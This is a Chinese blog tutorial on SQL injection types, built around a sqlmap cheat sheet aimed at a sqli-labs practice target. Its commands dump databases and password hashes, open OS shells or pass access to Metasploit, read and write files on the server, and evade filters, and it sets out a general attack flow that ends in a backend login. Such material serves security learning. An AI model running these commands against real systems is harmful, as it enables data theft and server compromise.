常见的SQL注入分类

2023-11-04

SQL注入分类

用SQLmap来判断

类别

按 SQLMap 分类SQL 注入类型有以下 5 种:
1.UNION query SQL injection(可联合查询注入)
2.Stacked queries SQL injection(可多语句查询注入)堆叠查询
3.Boolean-based blind SQL injection(布尔型注入)
4.Error-based SQL injection(报错型注入)
5.Time-based blind SQL injection(基于时间延迟注入)

SQLmap常见探测方式
常见参数
sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell   #知道网站的账号密码直接连接

-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段

--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 报错的时候,使用这个参数

sqlmap设置具体SQL注入技术
参数 --technique 此参数用于指定检测注入时所用技术。默认情况下Sqlmap会使用自己支持的全部技术进行 检测。 此参数后跟表 示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)

探测单个目标

1.打开kali终端。输入SQLmap,成功启动SQLmap
在这里插入图片描述
2.输入sqlamp -hh可以查看存在的注入类型以及注入方式
在这里插入图片描述
3.查看是否存在注入
输入sqlmap -u “url” -p name - -dbms mysql -v 1(-p指定内容 -v 查看)
在这里插入图片描述
(注入的时候好像不是每一个都能找到存在的漏洞,具体内容待后续补充,有好的建议也请分享一下)
4.查询当前用户下的所有数据库
在这里插入图片描述
该命令是确定网站存在注入后,用来查询当前用户下的所有数据库,如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有的数据库

sqlmap -u http:"url" --dbs(-D)

当继续注入时,–dbs缩写成-D xxx,意思是在xxx数据库中继续查询其他数据
5.获取数据库中的表名
该命令的作用是在查询完数据库后,查询指定数据库中的所有表名,如果在该命令中不加入-D参数来指定某一个具体的数据库,那么SQLMap就会列出数据库中所有库的所有表。

sqlmap -u "url" -D 数据库名 --tables(--T)

在这里插入图片描述
当继续注入的时候,–tables缩写成-T,意思是在某表中继续查询
(最好一次性获取所有数据库的所有表,这样比较方便,更快确定用户信息的位置)
5.获取表中的字段名
该命令的作用是在查询完表名后,查询该表的所有的字段名

sqlmap -u"url" -D 数据库名 -T 表名 --columns -batch

在这里插入图片描述

6.获取字段信息
该命令是查询完字段名以后,获取该字段中的具体的数据信息

sqlmap -u"url" -D 数据库名 -T 表名 -C 字段名 --dump -batch

在这里插入图片描述
(以下内容是我根据书本上的命令执行,上述流程既是完整的SQLMap使用流程)
7.获取数据库的所有用户
该命令的作用是列出数据库的所有用户,在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户
在这里插入图片描述
8.获取数据库用户密码

sqlmap -u"url" --passwords

该命令的作用是列出数据库用户的密码,如果用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解
在这里插入图片描述
密码一般使用MySQL5加密,可以在www.cmd5中自行解密
9.获取当前网站数据库名称

sqlmap -u"url" --current-db

在这里插入图片描述
10.获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的用户名称

sqlmap -u"url" --current-user

(后续功能待补充)

接受请求类型区分

GET注入

GET请求传输的数据量限制在2KB左右
GET只要在url上,就能接收到请求
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

POST注入

使用POST方式提交数据,注入点位置在POST部分。常发生在表单

Cookie注入

HTTP请求的时候会带上客户端的Cookie,注入点存在与Cookie当中的某个字段

REQUEST注入
HTTP头部

HTTP报文头部各个参数都能注入,比如User-Agent、Cookie。注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段

按照数据类型区分

int型

类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where id=1 and 1=1
string型

类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where name='admin' and 1=1 '
like型

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
select * from 表名 where 字段 like ‘%测试%’ and ‘%1%’=‘%1%’
具体内容可参考:link

SQL注入常规利用思路

1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用 户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字 段名等信息)
3.1 还可以获取数据库的 root 账号 密码—思路
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

常见的SQL注入分类 的相关文章

  • 查询嵌套查询结果中两列的位置

    我正在编写这样的查询 select from myTable where X in select X from Y and XX in select X from Y X 列和 XX 列的值必须位于同一查询的结果中 select X fro
  • SQL Server 2008 R2 内连接无法匹配 varchar 字段,因为它包含特殊字符

    我们正在将 Microsoft SQL Server 2008 R2 用于我们的经典 ASP 应用程序之一 我们有两张表 TableA TableB TableA有以下列 InstName varchar 1024 TableB有这些列 I
  • Oracle SQL-根据记录的日期与历史记录标记记录

    这是我在论坛上的第一篇文章 通常我能够找到我需要的东西 但说实话 我不太确定如何针对该问题提出正确的问题 因此 如果论坛上已经有答案而我错过了 请接受我的歉意 我通过 Benthic Software 在 Oracle 数据库中运行以下代码
  • 根据最大值连接表

    这是我正在谈论的内容的一个简化示例 Table students exam results id name id student id score date 1 Jim 1 1 73 8 1 09 2 Joe 2 1 67 9 2 09 3
  • Android 中读取未提交的事务

    我正在进行大量数据库操作 这会向我的数据库添加大约 10 000 条记录 由于这可能需要很长时间 因此最好使用事务 db startTransaction do write operations db setTransactionSucce
  • 如何为“%abc%”搜索创建文本索引?

    我想对查询进行索引x like abc 如果我有一个如下表 create table t data varchar 100 我想创建一个索引以便能够有效地执行以下操作 select from t where contains abc 和这个
  • 在实体框架 6 中使用 SqlQuery>

    我正在尝试在 EF 6 中执行 SQL 查询 select查询返回两个字符串列 例如select a b 并且可以有任意数量的行 我想将结果映射到字典 但我无法摆脱以下错误 错误 1 无法将类型 System Data Entity Inf
  • FireDac 添加下划线 1 以区分具有相同名称的 2 个列名

    我有一个连接 2 个表的选择 因此这些表中存在具有相似名称的列 因此现在在检索结果时 FireDac 将下划线 1 添加到第二个列名称以区分这两个表 Select from Table1 inner join Table2 on Table
  • SQL Server 中全文搜索的奇怪行为

    我的 MyTable 带有列消息 NVARCHAR MAX ID 为 1 的记录包含消息 0123456789333444 Test 当我运行以下查询时 DECLARE Keyword NVARCHAR 100 SET Keyword 01
  • MySQL Tinybit(1) 通过视图的列

    我有一个连接 2 个表的视图 其中一个表具有表示布尔值的tinyint 1 类型的列 该表在连接时并不总是有条目 因此当行丢失时视图需要采用 0 false 值 我希望视图公开 TINYINT 1 类型且 NOT NULL 类型的列 因为它
  • 从 SQL 数据库获取日期时间

    我的数据库表中有一个 DateTime 记录 我编写一个查询从数据库中获取它 string command2 select Last Modified from Company Data where Company Name Descrip
  • 如何调试参数化 SQL 查询

    我使用 C 连接到数据库 然后使用 Ad hoc SQL 来获取数据 这个简单的 SQL 查询非常方便调试 因为我可以记录 SQL 查询字符串 如果我使用参数化 SQL 查询命令 有没有办法记录 sql 查询字符串以进行调试 我想就是这样的
  • 使用显式创建表语句与 select into 创建表

    使用显式创建表语句和加载数据与选择数据之间是否存在性能差异 此示例仅显示 2 列 但问题是针对使用非常大的表 下面的示例也使用临时表 尽管我也想知道使用常规表的效果 我认为无论表格类型如何 它们都是相同的 临时表场景 Explicitly
  • 如何插入包含“&”的字符串

    如何编写包含 字符的插入语句 例如 如果我想将 J J Construction 插入数据库的列中 我不确定这是否有什么不同 但我正在使用 Oracle 9i 我总是忘记这一点 然后又回到它 我认为最好的答案是迄今为止提供的答复的组合 首先
  • 如何获得组中“中间”值的平均值?

    我有一个包含值和组 ID 的表 简化示例 我需要获取中间 3 个值的每组的平均值 因此 如果有 1 2 或 3 个值 则它只是平均值 但如果有 4 个值 它将排除最高值 5 个值将排除最高值和最低值 等等 我正在考虑某种窗口函数 但我不确定
  • IN 运算符对 SQL 查询性能的影响有多大?

    我的 SQL 查询需要 9 个小时才能执行 见下文 Select Field1 Field2 From A Where Field3 IN 45 unique values here 当我将此查询拆分为 3 个完全相同的查询 仅每个 IN
  • SQLite 使用循环重新编号 ID

    您好 我有一个包含许多插入行的表 我需要按 id 对所有行重新编号并排序 我找到了这段代码 但它对我不起作用 SET i 100 UPDATE main Categories SET ID i i 1 WHERE Name White AL
  • 如何在sql server 2008R2中将单个单元格拆分为多个列?

    我想将每个名称拆分为各个列 create table split test value integer Allnames varchar 40 insert into split test values 1 Vinoth Kumar Raj
  • Postgres 按查询分组

    我正在尝试在 postgres 的查询中使用 group by 我无法让它按照我想要的方式工作 以便根据需要对结果进行分组 这是另一个堆栈问题的扩展我刚刚回答过的递归查询 https stackoverflow com questions
  • 如何重置 SQL Server 中表的 IDENTITY 列? [复制]

    这个问题在这里已经有答案了 我怎样才能重置我的IDENTITY我已经填充的表中的列 我尝试过类似的方法 但它不起作用 WITH TBL AS SELECT ROW NUMBER OVER ORDER BY profile id AS RN

随机推荐

  • windows安装MSYS2(mingw && gcc)

    一 简介 本文主要介绍如何在windows环境下安装msys环境 二 软件安装步骤 2 1 官网下载 msys官网链接 https www msys2 org 下载完成 2 2 软件安装 根据网页提示选择需要安装的目录 并等待安装完成 安装
  • 区间预测

    区间预测 MATLAB实现QRLSTM长短期记忆神经网络分位数回归多输入单输出区间预测 目录 区间预测 MATLAB实现QRLSTM长短期记忆神经网络分位数回归多输入单输出区间预测 效果一览 基本介绍 模型描述 程序设计 参考资料 效果一览
  • 【小程序】如何实现一个可折叠的列表

    作者刚接触小程序开发不久 打算用 CSDN 把学习过程中遇到的一些问题记录下来 都是一些浅显易懂的内容 希望对你也有所帮助 如文章标题所示 作者要实现一个可折叠的列表 先来看一下页面效果 这种展示方式的实现非常简单 话不多话 直接上代码 首
  • 用EasySysprep封装Win7系统

    前面我介绍了使用Dism 封装Windows 7系统 不过最后还是没达到我想要的效果 不过经过一番查阅之后 我发现我想要的效果好像没办法简单的使用单一工具达到 我希望做成的效果是类似于Win10 一个ISO镜像内置各种驱动及最新的更新 安装
  • Image size of 512922x322 pixels is too large. It must be less than 2^16 in each direction

    plt figure figsize 10 8 sns regplot x data num y data y marker o ci 95 scatter kws color b alpha 0 2 s 3 fit reg False 线
  • iOS开发环境xcode搭建

    1 到 https developer apple com download 或者在APP store下载 2 下载完成后会在launchpad显示 点击安装
  • python计算机视觉- 相机模型与参数标定

    文章目录 相机投影模型 针孔相机模型 像主点偏移 内参矩阵 畸变现象 畸变矫正 外参矩阵 两类参数 相机标定 线性回归 最小二乘 非线性优化 标定过程 实验过程 MATLAB进行标定 相机投影模型 针孔相机模型 针孔照相机模型是计算机视觉中
  • 我以前的博客在ITEYE上

    我以前的博客 https www iteye com blog user jiasudu 这个是我以前的博客 密码忘记了 就不搬家了 大家可以去看看 主要是十多来年记录ofbiz的资源 可以说是大全
  • 第九站:速学JavaScript中的函数

    js函数 欢迎来到 JavaWeb的奇妙冒险 教学系列 在本站中 我们将深入探索Web开发的精彩世界 在学习的过程中 我们既要保持轻松愉快 又要确保高质量的教学内容 准备好进入第九站的学习之旅了吗 让我们开始吧 文章目录 js函数 介绍 定
  • IDEA 登陆Gitee账户登录不上解决方案

    Mark一个IDEA2021 1连接gitee的bug 点击VCS想要share on Gitee时出现idea loading information for gitee窗口 然后始终连接不上Gitee 可能的解决方案 检查自己的Gite
  • [报错解决]name 'keras_applications' is not defined

    加载模型报错 解决方案 pip install keras applications 1 0 4 no deps pip install keras preprocessing 1 0 2 no deps pip install h5py
  • Python脚本批量造数据、跑定时任务协助测试

    目录 批量造数据 结合python pytest fixture 实现定时任务接口调用 目录结构 定时任务 批量造数据 连接Mysql的信息 1 import pymysql 2 数据库连接信息 3 多个库要有多个conn 4 conn p
  • CVE-2022-23222 Linux Kernel ebpf 权限提升漏洞

    漏洞背景和描述 eBPF extended Berkeley Packet Filter 是一种可以在 Linux 内核中运行用户编写的程序 而不需要修改内核代码或加载内核模块的技术 简单来说eBPF 让 Linux 内核变得可编程化了 由
  • 零基础学习WEB前端开发(六):HTML超链接标签

    一 超链接 二 用法及分类 基本语法 外部链接 内部链接 空连接 下载链接 其他元素链接 锚点链接 一 超链接 HTML使用标签 a 来设置超文本链接 超链接可以是一个字 一个词 或者一组词 也可以是一幅图像 您可以点击这些内容来跳转到新的
  • Generated Knowledge Prompting for Commonsense Reasoning

    本文是知识图谱系列相关的文章 针对 Generated Knowledge Prompting for Commonsense Reasoning 的翻译 常识推理的生成知识提示 摘要 1 引言 2 生成知识提示 3 实验设置 4 实验结果
  • 一个自动将状态机生成代码的软件

    如果你是一个程序员 对状态机应该有一定的了解 甚至会经常使用 使用状态机的时候 一般都是自己设计程序去实现状态机 但 当要维护代码时 就会显得不方便 特别是比较复杂的时候 我幻想着有一个软件 能在图形界面上设计状态图 然后自动生成C C 代
  • 都掏出来了,大学四年珍藏的26个宝藏网站,全部整理好给大家!!!

    文章目录 前言 哔哩哔哩 慕课网 编程学习网站 菜鸟教程 W3cSchool 刷题网站 力扣 牛客网 在线编程模块 CodeTop 赛码网 蓝桥杯ACM刷题网站 实用工具 Processon ioDraw 在线JSON解析 在线进制转换 博
  • Verilog状态机

    状态机定义 有限状态机 Finite State Machine 表示有限个状态以及在这些状态之间的转移和动作等行为的数学模型 有限状态机是指输出取决于过去输入部分和当前输入部分的时序逻辑电路 一般来说 除了输入部分和输出部分外 有限状态机
  • java中的多线程、同步代码块、同步方法、锁

    一 java中实现多线程的三种方式 1 继承Thread类的方式进行实现 2 实现Runnable接口的方式进行实现 3 利用Callable接口和Future接口方式实现 1 继承Thread类的方式进行实现 步骤 自定义一个类继承Thr
  • 常见的SQL注入分类

    SQL注入分类 用SQLmap来判断 类别 按 SQLMap 分类SQL 注入类型有以下 5 种 1 UNION query SQL injection 可联合查询注入 2 Stacked queries SQL injection 可多语